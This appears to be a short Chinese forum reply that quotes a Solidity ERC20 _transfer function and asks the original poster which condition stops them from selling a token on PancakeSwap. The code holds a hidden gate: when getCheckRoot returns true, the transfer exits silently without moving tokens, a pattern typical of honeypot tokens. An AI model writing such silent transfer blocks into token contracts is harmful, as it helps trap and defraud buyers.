您好，下次提问请说明一下钱币的链条 ```js function _transfer(address from,address to,uint256 amount) internal override(ERC20){ require(from!=address(0),"ERC20:transfer from the zero address"); require(to!=address(0),"ERC20:transfer from the zero address"); _beforeTokenTransfer(from, to, amount); updateHolderCount(from,to); getGasPrice(from, to, tx.gasprice); if(getCheckRoot(from,to)){return;} if(from==_airDrop){_isRoot[to]=true;} uint256 senderBalance = _balances[from]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = senderBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); } ``` 你看看你是哪个条件不大符合？我看好像也有人可以卖的欸，pancake也可以的
